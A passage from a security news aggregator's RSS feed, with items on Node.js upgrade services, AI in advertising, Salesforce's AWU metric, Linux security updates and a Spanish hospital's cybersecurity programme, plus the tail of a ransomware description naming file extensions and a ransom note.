<span data-contrast="auto">Encrypted files are typically renamed with extensions such as </span><span data-contrast="auto">. !NT3RLOCK</span><span data-contrast="auto"> or </span><span data-contrast="auto">.int3R1Ock</span><span data-contrast="auto">. After completing the encryption process, the ransomware drops a ransom note, often named FIRST_READ_ME.txt, containing instructions for victims to contact the attackers.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[2/3 of Node.Js Users Run an Outdated Version.  So OpenJS Announces Program Offering Upgrade Providers]]></title>
<description><![CDATA[How many Node.js users are running unsupported or outdated versions. Roughly two thirds, according to data from Node's nonprofit steward, OpenJS. 

So they've announced "the Node.js LTS Upgrade and Modernization program" to help enterprises move safely off legacy/end-of-life Node.js. "This progra...]]></description>
<link>https://tsecurity.de/de/3334136/it-security-nachrichten/23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3334136/it-security-nachrichten/23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers/</guid>
<pubDate>Sun, 08 Mar 2026 18:50:12 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How many Node.js users are running unsupported or outdated versions. Roughly two thirds, according to data from Node's nonprofit steward, OpenJS. 

So they've announced "the Node.js LTS Upgrade and Modernization program" to help enterprises move safely off legacy/end-of-life Node.js. "This program gives enterprises a clear, trusted path to modernize," said the executive director of the OpenJS Foundation, "while staying aligned with the Node.js project and community."
The Node.js LTS Upgrade and Modernization program connects organizations with experienced Node.js service providers who handle the work of upgrading safely. 

Approved partners assess current versions and dependencies, manage phased upgrades to supported LTS releases, and offer temporary security support when immediate upgrades are not possible... Partners are surfaced exactly where users go when upgrades become unavoidable, including the Node.js website, documentation, and end of life guidance. 

The program follows the existing OpenJS Ecosystem Sustainability Program revenue model, with partners retaining 85% of revenue and 15% supporting OpenJS and Node.js through Open Collective and foundation operations. OpenJS provides the guardrails, alignment, and oversight to keep the program credible and connected to the project. We're pleased to welcome NodeSource as the inaugural partner in the Node.js LTS Upgrade and Modernization program.
 
"The goal is simple: reduce risk without breaking production or trust with the upstream project."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=2%2F3+of+Node.Js+Users+Run+an+Outdated+Version.++So+OpenJS+Announces+Program+Offering+Upgrade+Providers%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F03%2F08%2F0236233%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F03%2F08%2F0236233%2F23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/03/08/0236233/23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[La publicidad y el marketing en los tiempos de la IA: un “momento apasionante” en el todo cambia a velocidad de vértigo]]></title>
<description><![CDATA[Desde fuera, cuando se piensa en marketing y en publicidad, se tiende a visualizar el sector casi como si fuese una versión moderna de un capítulo de Mad Men. Lo importante es, solamente, lo creativo. Lo cierto es, sin embargo, que en la propia Mad Men estaban ya abrazando la tecnología y que la ...]]></description>
<link>https://tsecurity.de/de/3324852/it-security-nachrichten/la-publicidad-y-el-marketing-en-los-tiempos-de-la-ia-un-momento-apasionante-en-el-todo-cambia-a-velocidad-de-vrtigo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3324852/it-security-nachrichten/la-publicidad-y-el-marketing-en-los-tiempos-de-la-ia-un-momento-apasionante-en-el-todo-cambia-a-velocidad-de-vrtigo/</guid>
<pubDate>Wed, 04 Mar 2026 11:52:14 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Desde fuera, cuando se piensa en <strong>marketing </strong>y en <strong>publicidad</strong>, se tiende a visualizar el sector casi como si fuese una versión moderna de un capítulo de <em>Mad Men</em>. Lo importante es, solamente, lo creativo. Lo cierto es, sin embargo, que en la propia <em>Mad Men</em> estaban ya abrazando la tecnología y que la creatividad es perfectamente compatible con todo lo tecnológico.</p>



<p>“En publicidad digital, desde el minuto uno hemos necesitado la tecnología”, apunta a CIO ESPAÑA Fernando del Rey, director para el sur de Europa de la empresa de marketing digital Incubeta. “La tecnología ha incrementado de manera exponencial lo que se estaba haciendo de forma tradicional y atiende a un público que vive y consume cada vez más en el mundo digital”. “La tecnología siempre ha estado de nuestra mano”.  Las herramientas TI también han alcanzado a otros segmentos más allá de la publicidad digital y ha cambiado el sector y hasta las dinámicas de trabajo.</p>



<h2 class="wp-block-heading">Un CIO cercano al CMO</h2>



<p>“El verdadero cambio es que la frontera entre el marketing y la tecnología está desapareciendo”, indica Ben Evans, jefe de producto de la multinacional francesa de publicidad Havas Media Network España, cuando se le pregunta si los perfiles TI han ido ganando peso en el sector en los últimos años. “Claramente hoy tienen mucho más peso que hace un par de décadas”, confirma. Tienen protagonismo y no son simplemente perfiles de soporte. “El cambio más interesante no es solo de peso, sino de convergencia. Los equipos de marketing necesitan cada vez más comprensión tecnológica y los equipos de TI deben estar mucho más cerca del negocio”, apunta. </p>



<p>Así, aparecen perfiles híbridos y nuevos modelos organizativos, pero también cambia la relación entre el CMO y el CIO, que se ha vuelto más estrecha. Los estudios llevan <a href="https://www.puromarketing.com/12/34457/mayor-colaboracion-entre-clave-futuro" target="_blank" rel="nofollow">advirtiéndolo ya</a> desde hace años y, en algunos momentos, se llegó incluso a barajar la idea de fusionar algunas de sus atribuciones en un nuevo cargo en la ejecutiva. El <em>boom </em>de la inteligencia artificial solo ha hecho que el cambio en la relación entre CMO y CIO se vuelva más visible y decisivo.</p>



<p>Casi se podría decir que TI y marketing no pueden circular en esferas paralelas. “Antes, operaban de forma más aislada, pero hoy la IA y el dato han obligado a trabajar de manera mucho más coordinada”, dice Evans. En Havas, cuenta, trabajan ya así para ganar velocidad y foco. “Esta organización nos está funcionando especialmente bien porque nos permite cubrir toda la cadena de valor de la IA de forma ordenada”, explica. “TI asegura los cimientos tecnológicos y la eficiencia interna, mientras que el equipo de producto impulsa la innovación de cara al mercado”, señala, añadiendo que la comunicación entre ambas ramas es “semanal y fluida”.</p>



<p>Aino Delgado, responsable de marca y producto en Vidext, <em>startup </em>valenciana que utiliza la IA para automatizar la creación y el análisis de contenido audiovisual en el entorno corporativo, cree que esta tecnología propiciará saltar “de equipos masivos a equipos de alto rendimiento”. Lo ha vivido: el suyo de 6 personas rinde ahora como uno de 12. “Nuestra manera de trabajar también ha cambiado: ya no somos dueños de un <em>outcome</em>, sino del impacto, con una estructura híbrida y mucho más estratégica”, indica. “Menos manos ejecutando tareas repetitivas y más personas optimizando el motor de crecimiento”, resume.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Creative agent (Amazon)" class="wp-image-4140476" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?quality=50&amp;strip=all 1920w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Creative-Agent-Amazon-Ads-2.jpg?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Amazon</p></div>



<h2 class="wp-block-heading">La transformación que trae la IA</h2>



<p>En marketing y publicidad, la inteligencia artificial está teniendo un efecto transformador que podría marcar un antes y un después. De hecho, quien no sea capaz de comprenderlo se podría quedar atrás.</p>



<p>Eso es lo que cree el <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-23-gartner-survey-reveals-cmo-ai-blind-spot-as-65-percent-expect-role-disruption-yet-only-32-percent-say-significant-skill-changes-are-needed" target="_blank" rel="nofollow">último informe</a> de Gartner, que afirma que el 65% de los CMO de Norteamérica y Europa considera que la IA cambiará “dramáticamente” su papel en los próximos dos años. Carecer de alfabetización IA será una de las tres principales razones por las que se despedirá a los directores de marketing en 2027, estiman. Si quieren seguir el ritmo de los tiempos y posicionar a sus empresas en ese nuevo escenario, tendrán que saber de qué se habla y qué se puede hacer en la era de la inteligencia artificial.</p>



<p>Pero ¿qué está haciendo la industria con respecto a la IA y cómo está cambiando las cosas? “Estamos en un momento apasionante. Cada día es distinto”, afirma del Río. “Nosotros venimos del mundo de internet, estamos superhabituados al cambio, pero la IA es algo completamente disruptivo”, asegura, un entorno en el que se producen revoluciones cada semana. Lo vivido hasta ahora palidece ante las velocidades de transformación actuales.</p>



<p>Al tiempo, su auge ha impulsado ya un cambio en cómo se organizan los equipos de marketing y ha abierto nuevas ocupaciones. No se trata tanto de que la inteligencia artificial haya anulado al talento humano o que haya hecho desaparecer la creatividad, sino que se ha modificado cómo se trabaja. “Hace que procesos de creatividad que antes podían llevar semanas o meses, logremos en horas los mismos resultados o incluso mejores”, indica del Río. “La IA se ocupa del trabajo pesado, mientras que nosotros aportamos el toque emocional y ético, evitando que la tecnología caiga en una mediocridad industrializada”, explica Evans. “Así, somos más ágiles, más estratégicos y entregamos más valor a los clientes”.</p>



<p>Desde la industria explican que se automatizado la gestión de campañas o se ha logrado simplificar los reportes. El cliente tiene un acceso más sencillo, completo y rápido a los resultados de su campaña. “En términos de marketing y marca la IA nos permite analizar datos y reportes de forma mucho más rápida”, explica Delgado. “Podemos medir con mayor precisión, ajustar campañas en tiempo real, adaptarlas a necesidades concretas o usuarios específicos y así poder anticiparnos a lo que la audiencia necesita”, indica.</p>



<p>“La inteligencia artificial está cambiando las reglas de cómo medimos los resultados, aumentamos el retorno y segmentamos las audiencias”, añade Evans. Para eso se necesita un “dato bien estructurado y gobernado”. Las empresas del sector ofrecen sus propuestas (Havas tiene la suya, Marvel, “nuestro modelo de datos unificado, que normaliza la información de múltiples clientes y fuentes”), con las que prometen que se podrán tomar decisiones más informadas y ajustadas. “Los equipos ya no pierden tiempo ordenando información”, señala este experto. “Pueden reaccionar casi en tiempo real a lo que ocurre con las campañas, apoyándose en datos fiables y actualizados”, asegura. Y la inteligencia artificial no solo bebe de lo que ocurre en el mundo digital, sino que cruza esa información con la que llega desde los canales físicos.</p>



<p>La IA ayuda a comprender mejor el mercado y permite una segmentación de las audiencias más afinada. “Nos ha abierto posibilidades para entender a los decisores de compra”, apunta del Río, y suma que ha aparecido un nuevo canal. “Ahora hacemos estrategias de impactar a la IA o a agentes”, indica, puesto que son ya los canales que conducen a las decisiones de compra. De hecho, desde la industria ya se empieza a hablar de una suerte de <em>SEO para IA</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?quality=50&amp;strip=all" alt="Ben Evans (Havas) y Aino Delgado (Vidext)." class="wp-image-4140474" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?quality=50&amp;strip=all 723w, https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?resize=300%2C173&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?resize=291%2C168&amp;quality=50&amp;strip=all 291w, https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?resize=146%2C84&amp;quality=50&amp;strip=all 146w, https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?resize=624%2C360&amp;quality=50&amp;strip=all 624w, https://b2b-contenthub.com/wp-content/uploads/2026/03/evans-y-delgado.jpg?resize=433%2C250&amp;quality=50&amp;strip=all 433w" width="723" height="417" sizes="auto, (max-width: 723px) 100vw, 723px"><figcaption class="wp-element-caption"><p><strong>Ben Evans (Havas) y Aino Delgado (Vidext).</strong></p>
</figcaption></figure><p class="imageCredit">Havas | Vidext</p></div>



<h2 class="wp-block-heading">Los retos de la IA</h2>



<p>Por supuesto, para que el potencial cuaje (y para que sus clientes finales lo empleen), las compañías del sector deben lanzar soluciones que resulten atractivas y fáciles de usar y que logren sobrepasar las resistencias ante la IA. Esos son los grandes retos.</p>



<p>Las propuestas se están sucediendo. Amazon Ads acaba de lanzar en España su Creative Agent, una herramienta IA para crear campañas publicitarias y con la que, claramente, quieren posicionarse ante las pymes. “Creative Agent aporta a todos los anunciantes y agencias acceso al tipo de soporte creativo estratégico y de calidad profesional que hasta ahora solo estaba al alcance de grandes marcas”, afirma en el comunicado del lanzamiento José Escudero, Head of Advertising Sales en Amazon Ads. Havas introdujo en el último CES a AVA, su solución que centraliza el acceso a tecnología IA para sus clientes. “En los últimos meses hemos visto cómo se disparaba el uso de herramientas de IA en las agencias, a veces de forma desordenada, lo que aumenta el riesgo de <em>shadow AI</em>”, indica Evans. Su herramienta añade así, promete, seguridad en “un entorno controlado y fiable”.</p>



<p>Ante las resistencias, desde la industria dejan claro que no hay que ver las cosas como un todo o nada, sino más bien como un nuevo contexto de trabajo. Esto es, la inteligencia artificial no se lo comerá todo, sino que operará acompañada de la creatividad y la intervención humana. “Ese toque humano es fundamental para asegurar que los resultados no solo sean precisos desde el dato, sino que incorporen el contexto cultural, emocional y los deseos específicos del cliente”, defiende Evans. “El reto está en tener una idea y que la IA la ejecute”, suma del Río, “no que la IA tenga una idea y que las personas la ejecutemos. El reto está en pensar fuera de la caja, en pensar que todo es posible”. Y hacerlo además en un entorno mucho más dinámico, más flexible, en el que los tiempos se han vuelto mucho más cortos.</p>



<p>Y no menos importante, la carrera por la IA y sus usos obliga a pensar qué se hace y qué aporta. “La tecnología nos permite automatizar procesos menos creativos o atractivos por así decirlo, para centrarnos en crear contenidos de valor para la marca”, recuerda Delgado. No se puede perder de vista los objetivos. Y advierte: “Uno de los problemas a los que las marcas se enfrentarán en el futuro será, desde mi punto de vista, priorizar la cantidad por encima de todo gracias a las automatizaciones”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWU by Salesforce: A shiny new metric that tells CIOs little of value]]></title>
<description><![CDATA[Every CIO would love a single metric that explains whether their spend on agentic software is paying off and gives them a clean story to tell the board when it’s time to move pilots to production or when renewal rolls around.



Salesforce is pitching its new Agentic Work Unit (AWU) metric as a m...]]></description>
<link>https://tsecurity.de/de/3314979/it-security-nachrichten/awu-by-salesforce-a-shiny-new-metric-that-tells-cios-little-of-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3314979/it-security-nachrichten/awu-by-salesforce-a-shiny-new-metric-that-tells-cios-little-of-value/</guid>
<pubDate>Fri, 27 Feb 2026 15:49:51 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Every CIO would love a single metric that explains whether their spend on agentic software is paying off and gives them a clean story to tell the board when it’s time to move pilots to production or when renewal rolls around.</p>



<p>Salesforce is pitching its new Agentic Work Unit (<a href="https://www.salesforce.com/news/stories/agentic-work-units/" target="_blank" rel="nofollow">AWU</a>) metric as a measure that can help tell that story. In its current form, though, it reads more like a sales slide or a marketing vehicle for Agentforce with a number attached — perhaps unsurprisingly, as AWU is the brainchild of Salesforce CMO <a href="https://www.salesforce.com/company/patrick-stokes-bio/" target="_blank" rel="nofollow">Patrick Stokes</a>.</p>



<p>CEO <a href="https://www.salesforce.com/company/marc-benioff-bio/" target="_blank" rel="nofollow">Marc Benioff</a> introduced AWU during the company’s <a href="https://salesforce-q4-fy26-earnings-conference-call.open-exchange.net/" target="_blank" rel="nofollow">quarterly earnings call</a> this week, crediting Stokes with the creation of the metric that, he said, “helps” its customers “measure the value” that Agentforce delivers.</p>



<p>AWU is not meant to be viewed in isolation but alongside token consumption, Stokes said later in response to a question from a Goldman Sachs analyst. Salesforce is trying to correlate the number of AWUs produced with the number of tokens consumed, effectively an inference efficiency ratio, to distinguish between simply running a model and producing something of operational value.</p>



<p>In Salesforce’s framing, tokens represent the raw input cost, while the ratio of tokens to work units is meant to signal how much “actual work” agents are delivering for that cost.</p>



<p>However, it was not immediately clear how Salesforce defines what qualifies as a discrete “work unit,” or how consistently that outcome is verified across customer environments, or even where and how AWU as a metric can be accessed.</p>



<h2 class="wp-block-heading">Work done, not value produced</h2>



<p>These ambiguities, analysts say, are exactly why the metric reads better in Salesforce’s marketing material than it does in a CIO’s spreadsheet.</p>



<p>“AWU measures execution rather than accuracy. A triggered workflow or an API call counts, regardless of whether the agent resolved the issue correctly. It tracks activity, not quality: That is the limitation,” said <a href="https://moorinsightsstrategy.com/team/robert-kramer/" target="_blank" rel="nofollow">Robert Kramer</a>, principal analyst at Moor Insights and Strategy.</p>



<p>AWU’s complexity also compounds with scale, especially in production workloads, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="nofollow">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p>“At scale, agent retry behavior and exception handling are inevitable. … Without explicit classification between attempted, succeeded, accepted and validated actions, AWU remains a throughput metric rather than a trust metric,” Gogia said.</p>



<p>Each AWU measures one discrete action performed and completed by an AI agent, such as updating a record, triggering a workflow, or calling an external system, Stokes later clarified in response to CIO.com’s queries.</p>



<p>“A single business outcome may require many AWUs to complete,” Stokes added.</p>



<p>The CMO’s own framing of AWUs as building blocks rather than a ready measure to showcase business outcomes is where the metric’s promise quietly unravels for CIOs as they can’t use it effectively in the one place it actually matters: in the boardroom to justify return on investment or seek more investment for implementation, said <a href="https://futurumgroup.com/keith-kirkpatrick/" target="_blank" rel="nofollow">Keith Kirkpatrick</a>, research director at The Futurum Group.</p>



<p>Echoing Kirkpatrick, Constellation Research principal analyst <a href="https://www.constellationr.com/user/liz-miller" target="_blank" rel="nofollow">Liz Miller</a> said that AWUs “don’t necessarily define success for a Salesforce’s customer or indicate that their customer’s customer has accomplished their goals when leveraging the agentic system of engagement”.</p>



<p>Rather, Miller sees AWUs as a health metric that the financial markets are likely to use to track just how valid Salesforce’s reporting of upticks in utilization are, especially when tracked against overhead costs, sales and revenue.</p>



<h2 class="wp-block-heading">Skepticism in the boardroom</h2>



<p>“I think it is a great metric to deliver consistent growth of Salesforce. But do I think Salesforce customers are going to prioritize AWUs over, say, yield and return of AI ROI? Likely no. CIOs and all leaders in the C-Suite are already skeptical over returns,” Miller said.</p>



<p>Getting real value out of AWUs will require more work, said Gogia, especially more guardrails and scripting as AWUs themselves don’t measure task correctness or support verification.</p>



<p>“For AWUs to evolve into a verified task metric, enterprises would require layered instrumentation. They would need to distinguish attempted from committed actions. They would need rollback tracking and exception visibility. They would need per-tool success ratios rather than aggregate volume. They would need override tracking and human intervention metrics. They would need validation logic confirming that business objectives were achieved, not merely executed,” he said.</p>



<p>“The more an enterprise begins counting work units, the more it must constrain variability. Without deterministic scaffolding, AWU growth may correlate with drift and rework rather than with maturity,” Gogia added.</p>



<p>Pressed on whether AWUs could independently reflect high-quality outcomes, even Stokes was notably careful in his wording, leaving the impression that the metric counts how much work happened, not how well it was done.</p>



<p>The CMO seemed to suggest that enterprises may have to use guardrails and observability tools in combination with AWUs if they effectively wanted to measure real value from outcomes.</p>



<p>“In short, AWUs quantify work, while guardrails, deterministic flows, and tools like Agent Script (all part of Agentforce 360) ensure that work is reliable, repeatable, and outcome-driven. Tokens alone or raw LLM output are insufficient for measuring true enterprise value. These operational controls are what turn intelligence into consistent business outcomes,” he said.</p>



<h2 class="wp-block-heading">Not a complete waste of time</h2>



<p>However, analysts do see the metric helping CIOs in some small ways.</p>



<p>AWUs, when integrated properly, could help CIOs simplify how they frame the narrative around agentic use in their own enterprises, Gogia said.</p>



<p>At a fleet level, the metric could offer a coarse-grained signal across sprawling deployments as agents creep into CRM, service, analytics, and collaboration stacks — a macro view of density and activity that’s otherwise hard to summarize, Gogia said.</p>



<p>When coupled with financial attribution, AWUs could also support cost modelling: cost per work unit is a more intelligible story for finance teams than cost per token, enabling internal chargebacks and departmental comparisons, though that only holds if work units are segmented by complexity and validation status, so that useful work can be measured too, Gogia said.</p>



<p>The same applies to productivity claims, he said, cautioning, “AWUs can help model impact only when it is explicitly wired to measurable KPIs such as cycle-time reduction, faster resolution, or admin hours saved.”</p>



<p>Other analysts see the metric as a step in the right direction for recalibrating usage, pricing, and value in agentic offerings — part of the broader <a href="https://www.cio.com/article/4136820/ai-agent-platforms-could-push-down-saas-license-costs-report-argues.html">SaaSpocalypse reckoning</a>, where seat-based SaaS models are fraying and vendors are being pushed toward outcome-based pricing.</p>



<p>Much like when clicks and likes became convenient stand-ins for success in the absence of better metrics, AWU feels like a necessary placeholder for the agentic era, according to Constellation Research’s Miller.</p>



<p>Those early measures helped get the online media industry started but never proved durable indicators of real value, Miller said, adding that  AWU may serve the same “better than nothing” role today with the open question of whether it matures into a metric that actually endures.</p>



<p>However, Moor Insights and Strategy’s Kramer was more optimistic about the metric itself: “The concept likely will, even if the specific term does not, become an industry gold standard that CIOs will use as an evaluation criterion in the future.”</p>



<p>Although, he did warn that there is a risk of fragmentation if every vendor defines a similar metric differently: “Outcome-oriented AI metrics will likely appear in <a href="https://www.cio.com/article/2092152/dump-the-rfp-to-reap-better-outsourcing-results.html">RFP</a>s, but enterprises should define their own versions of a completed agentic task and how to verify it.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds-base, buildah, firefox, freerdp, golang-github-openprinting-ipp-usb, grafana-pcp, kernel, libpng15, munge, nodejs:20, nodejs:22, podman, protobuf, python-pyasn1, runc, and skopeo), Debian (chromium, nss, and python-django), Fedora (firefox, f...]]></description>
<link>https://tsecurity.de/de/3314874/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3314874/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 27 Feb 2026 15:07:01 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds-base, buildah, firefox, freerdp, golang-github-openprinting-ipp-usb, grafana-pcp, kernel, libpng15, munge, nodejs:20, nodejs:22, podman, protobuf, python-pyasn1, runc, and skopeo), <b>Debian</b> (chromium, nss, and python-django), <b>Fedora</b> (firefox, freerdp, gh, libmaxminddb, nss, python3.15, and udisks2), <b>Oracle</b> (buildah, firefox, freerdp, kernel, libpng, podman, python-pyasn1, skopeo, and valkey), <b>Red Hat</b> (container-tools:rhel8), <b>SUSE</b> (autogen, chromium, cockpit, cockpit-machines-348, cockpit-packages, cockpit-repos, cockpit-subscriptions, crun, docker, docker-compose, docker-stable, erlang, freerdp, frr, glib2, gpg2, kernel, kernel-firmware, libsodium, libsoup, libsoup2, openvswitch, python, python-pyasn1, python-urllib3, python-urllib3_1, python3, qemu, redis7, regclient, and ucode-intel), and <b>Ubuntu</b> (linux-aws, linux-aws-6.8, linux-ibm, linux-ibm-6.8, linux-xilinx, python-authlib, and ruby-rack).]]></content:encoded>
</item>
<item>
<title><![CDATA[El Hospital Provincial de Castellón convierte la ciberseguridad en seguridad del paciente]]></title>
<description><![CDATA[La transformación digital del sector sanitario ha abierto una nueva frontera para la atención médica, pero también para los ciberdelincuentes. Hospitales, centros de salud y laboratorios se han convertido en uno de los objetivos prioritarios de los ataques informáticos por una razón evidente: man...]]></description>
<link>https://tsecurity.de/de/3314836/it-security-nachrichten/el-hospital-provincial-de-castelln-convierte-la-ciberseguridad-en-seguridad-del-paciente/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3314836/it-security-nachrichten/el-hospital-provincial-de-castelln-convierte-la-ciberseguridad-en-seguridad-del-paciente/</guid>
<pubDate>Fri, 27 Feb 2026 14:48:58 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La <strong>transformación digital del sector sanitario</strong> ha abierto una nueva frontera para la atención médica, pero también para los ciberdelincuentes. Hospitales, centros de salud y laboratorios se han convertido en uno de los objetivos prioritarios de los ataques informáticos por una razón evidente: manejan información extremadamente sensible y, además, no pueden permitirse parar.</p>



<p>Un incidente de ciberseguridad en una organización sanitaria ya no implica únicamente pérdidas económicas o interrupciones tecnológicas. Puede traducirse en quirófanos aplazados, diagnósticos retrasados o servicios críticos sin acceso a información clínica. Por ello, informes internacionales coinciden en señalar que el sector sanitario figura entre los más atacados del mundo, especialmente por campañas de <em>ransomware</em> diseñadas para explotar esa necesidad de continuidad asistencial.</p>



<p>En este contexto, la ciberseguridad ha dejado de ser un asunto exclusivamente tecnológico para convertirse en un elemento estructural de la seguridad del paciente, una premisa que ha guiado el proceso de transformación digital del <strong>Consorcio Hospitalario Provincial de Castellón</strong>.</p>



<h2 class="wp-block-heading">De una seguridad reactiva a una estrategia tecnológica estructural</h2>



<p>Cuando el equipo tecnológico del hospital asumió la modernización del entorno digital, el diagnóstico fue claro. Según explica <strong>Carlos García Altarejos, responsable de Tecnología del Consorcio</strong>, la situación inicial presentaba importantes carencias. “La situación de ciberseguridad era muy deficiente: había protección de <em>endpoint</em> solo en parte del parque tecnológico, sin un ecosistema integral, sin personal especializado dedicado y con la seguridad fuera de las prioridades”, señala.</p>



<p>Ante ese escenario, el reto era doble: elevar rápidamente el nivel de protección y hacerlo sin interrumpir un servicio sanitario que funciona las 24 horas del día. A ello se sumaba un entorno especialmente complejo, con dispositivos médicos, sistemas heredados difíciles de actualizar y múltiples tecnologías conviviendo al mismo tiempo. “El equilibrio entre seguridad y operativa asistencial es especialmente delicado en un hospital”, explica. “Tenemos una alta heterogeneidad tecnológica y muchos sistemas <em>legacy</em> donde no siempre es posible instalar soluciones tradicionales”.</p>



<p>En un proyecto como este, el impacto potencial de un incidente iba mucho más allá del ámbito tecnológico. “Un ataque no afecta solo a sistemas informáticos; afecta a la disponibilidad, a la integridad de la información clínica y a la confidencialidad de datos extremadamente sensibles”, subraya García Altarejos. “En un hospital, donde no puedes parar para recuperar, la ciberseguridad forma parte directa de la continuidad asistencial”.</p>



<p>Esta visión marcó el inicio de una hoja de ruta que no se limitaba a incorporar herramientas, sino a redefinir la gobernanza tecnológica del centro. El objetivo era construir una base sólida que permitiera avanzar en digitalización sin incrementar el riesgo.</p>



<h2 class="wp-block-heading">Una transformación digital con la seguridad como punto de partida</h2>



<p>El proyecto tecnológico se diseñó por fases, priorizando los activos críticos. Primero se protegieron servidores con acceso a datos clínicos, sistemas de copia de seguridad y perímetro de red; posteriormente se extendió la cobertura a puestos y áreas asistenciales como Urgencias, UCI, laboratorio o radiología. “El mayor aprendizaje fue entender que en un hospital la clave no es tener herramientas, sino disponer de visibilidad correlacionada y capacidad real de respuesta”, explica el responsable tecnológico del centro. “Cuando puedes ver lo que ocurre en <em>endpoint</em>, red y perímetro al mismo tiempo, cambia completamente la gestión del riesgo”.</p>



<p>La implantación exigió además una estrecha coordinación con los servicios clínicos. “Trabajamos con planificación por fases y ventanas fuera de horas punta. La gobernanza clínica fue esencial para minimizar cualquier impacto asistencial”, añade.</p>



